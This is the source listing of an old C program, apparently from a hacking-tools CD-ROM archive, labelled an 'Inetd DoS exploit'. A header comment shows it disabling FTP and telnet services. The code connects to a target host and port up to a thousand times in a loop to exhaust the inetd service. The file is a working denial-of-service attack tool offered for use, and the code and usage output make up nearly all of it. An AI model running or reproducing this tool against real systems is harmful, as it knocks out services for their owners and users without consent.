home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Hacking tool
/
DoS
/
inetddos.c
< prev
next >
Wrap
C/C++ Source or Header
|
2001-04-29
|
3KB
|
134 lines
/*
----------------------------------
Inetd DoS exploit bY Serega[Linux]
IHG Project www.ihgroup.ru
mailto:linux@ihgroup.ru
----------------------------------
Usage: ./inetddos <host> <port>
example:
[ser@ihg prog]$ ./pscaner -h 127.0.0.1
-----------------------------
Open ports on [127.0.0.1]
[21] OPEN : 220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
[23] OPEN :
[25] OPEN : 220 ihg.localhost ESMTP Sendmail 8.11.0/8.11.0; Sun, 25 Feb 2001 18:58:36 +0300
-----------------------------
[ser@ihg prog]$ telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
[ser@ihg prog]$ cc inetddos.c -o inetddos
[ser@ihg prog]$ ./inetddos 127.0.0.1 21
DoS OK
[ser@ihg prog]$ telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
[ser@ihg prog]$ telnet 127.0.0.1 23
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
login:
[ser@ihg prog]$ ./inetddos 127.0.0.1 23
DoS OK
[ser@ihg prog]$ telnet 127.0.0.1 23
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
*/
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <signal.h>
void time_out(int sig);
int timeout=5;
char logo[512];
int sockfd;
DoS (char *host, int port)
{
unsigned long int ip_addr;
struct sockaddr_in serv;
struct hostent *h;
unsigned long int rv;
serv.sin_family = AF_INET;
if ((h=gethostbyname(host)) == NULL)
{
close(sockfd);
perror(host);
exit(1);
}
if(h!=NULL)
memcpy(&rv,h->h_addr,h->h_length);
else
rv=inet_addr(host);
serv.sin_addr.s_addr = rv;
serv.sin_port = htons(port);
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror ("socket error");
exit(1);
}
alarm(timeout);
signal(SIGALRM, (void *)&time_out);
if (connect (sockfd, (struct sockaddr*)&serv, sizeof(serv)) != 0)
{
close(sockfd);
perror(host);
exit(1);
}
alarm(0);
close(sockfd);
return(1);
}
void time_out (int sig)
{
close(sockfd);
printf("timeout\n");
exit(-1);
}
usage(char *h)
{
printf("----------------------------------\nInetd DoS exploit bY Serega[Linux]
IHG Project www.ihgroup.ru
mailto:linux@ihgroup.ru\n----------------------------------\n");
printf("\nUsage: %s <host> <port>\n\n", h);
exit(1);
}
main(int argc, char **argv)
{
int i;
if (argc<3) usage(argv[0]);
for (i=1; i<1000; i++)
DoS(argv[1], atoi(argv[2]));
printf("DoS failed\n");
}